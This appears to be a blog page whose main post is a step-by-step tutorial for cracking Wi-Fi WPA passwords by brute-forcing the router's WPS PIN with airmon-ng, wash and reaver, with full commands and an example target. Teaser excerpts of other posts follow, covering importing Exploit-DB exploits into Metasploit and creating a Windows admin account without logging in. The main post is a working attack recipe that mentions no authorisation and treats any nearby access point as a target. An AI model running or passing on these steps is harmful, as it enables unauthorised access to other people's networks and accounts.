Skip to main content

Crack Wifi Password with Reaver

At the time of this writing, there is no easy way to crack WPA password. WEP was a child's play but you wouldn't find routers configured to have this for security nowadays.
The only easier way to crack a router with WPA/WPA2 protocol is to exploit the WPS. WPS is an 8-digit PIN configured in your router which allows users to connect without selecting the SSID and knowing the Wifi password.
Common routers will have the WPS enabled. So if it is enabled and you're able to guess the PIN, you're good to go!

Reaver is an automated tool you can use to guess to WPS PIN. Once it knows the WPS PIN, it will then proceed to cracking the Wifi password. Just make sure that you have good signal of the Wifi or access point you want to connect to.

Let's get started!

1. First, we want to switch our wireless adapter into Monitoring mode. We can do that by opening the Terminal and typing the following command:

> airmon-ng start wlan0

airmon-ng is the application we will use to turn on the monitor mode.
start command to start it. Monitoring mode makes you able to listen to the Wifi traffic around you.
wlan0 is your wireless adapter. You can find this using the command ifconfig.

2. Then, once you're on Monitor mode, you can watch out for any Wifi within your area with WPS enabled. Do it using this command:

> wash -i wlan0mon

wash is a WPS scan tool.
-i is the switch we used to input our wireless adapter in Monitor mode
wlan0mon is our wireless adapter in Monitor mode

After running this command, you're screen will list all the access points to test.
For your selected Access Point, note down the BSSID and the channel number.

3. Now we launch Reaver! Hit Ctrl+C if you've already selected an access point to test. This will stop Wash from scanning. Then type this command:

> reaver -i {monitor interface} -b {BSSID of router} -c {router channel} -vvv -K 1 -f

example:

> reaver -i wlan0mon -b 00:11:22:33:44:55 -c 11 -vvv -K 1 -f

4. Now wait for it to display the WPA password for you.

Sorry for the lack of images. I will follow up on that.
Labels:

Popular posts from this blog

Importing Exploit-DB Exploits into Metasploit in Kali Linux for Offline Access

You're going to need three terminals open for this. Terminal 1 for starting metasploit Terminal 2 for importing the exploit to local Metasploit repository Terminal 3 for searchsploit which we will use to search for the exploit instead of opening your browser and looking in exploitdb. Let's be done with it! 1. First, open the first terminal to run metasploit with the following commands: > service postgresql start > msfconsole  2. Go to Terminal 3 and run the following command to update its database: > searchsploit -u 3. Open Terminal 2, then go to the metasploit modules directory by: > cd .msf4/modules 4. Then create a directory inside the msf4 modules folder: > mkdir exploits 5. Now, back to the Terminal 3. We will to search for an exploit we want to import. Let's first try to look for the explore ms15-100 by typing: > searchsploit msf15-100 After pressing Enter, you should be able to see the search result. It will be a t...
Read whole post

Using Termux in Android to Download Youtube Videos

In termux: apt update && apt upgrade Give termux access to your phone's filesystem via ~/storage/shared termux-setup-storage Install python: packages install python Install youtube-dl pip install youtube-dl Create a folder to store your downloaded videos: mkdir /data/data/com.termux/files/home/storage/shared/Youtube Create youtube-dl config (volume-down key emulates Ctrl in termux): nano ~/.config/youtube-dl/config The contents of my config is as follows: --no-mtime -o /data/data/com.termux/files/home/storage/shared/Youtube/%(title)s.%(ext)s -f "best[height<=480]" (the height<=480 tells youtube-dl to download the best quality version up to 480px in width. You can change to 240, 360, 720 or 1080, etc to suit your needs / bandwidth restrictions. Save with "Volume-down" + O, then close nano with "Vol-down" + X Create "termux-url-opener" in ~/bin to enable one-click download via the "Share" menu i...
Read whole post

Reset Local Admin Password / Add New User Account Without Logging In to Windows

You may need this tutorial for a number of different reasons. As for me -- a colleague left the company. His company-owned laptop having his Microsoft account as the only available user and we cannot recover his password. We needed his files so we cannot just reset the computer. So our only choice is to create a new local admin account and make sure this never happens again. Before we begin, please make sure that you have the DVD installer for your Windows OS. If you're all set, follow along the instructions below carefully: 1. Insert your Windows DVD into your DVD reader. 2. Boot from the DVD. You can do this by pressing the correct key while the computer is starting up. The key to press depends on the computer brand but it is commonly F2 or Esc . Please refer to this article . 3. Once you’re able to boot from the DVD, you will see the Windows Setup . It looks like this: 4. Now press Shift + F10 to bring up the Command Prompt. 5. Once the Command Prompt i...
Read whole post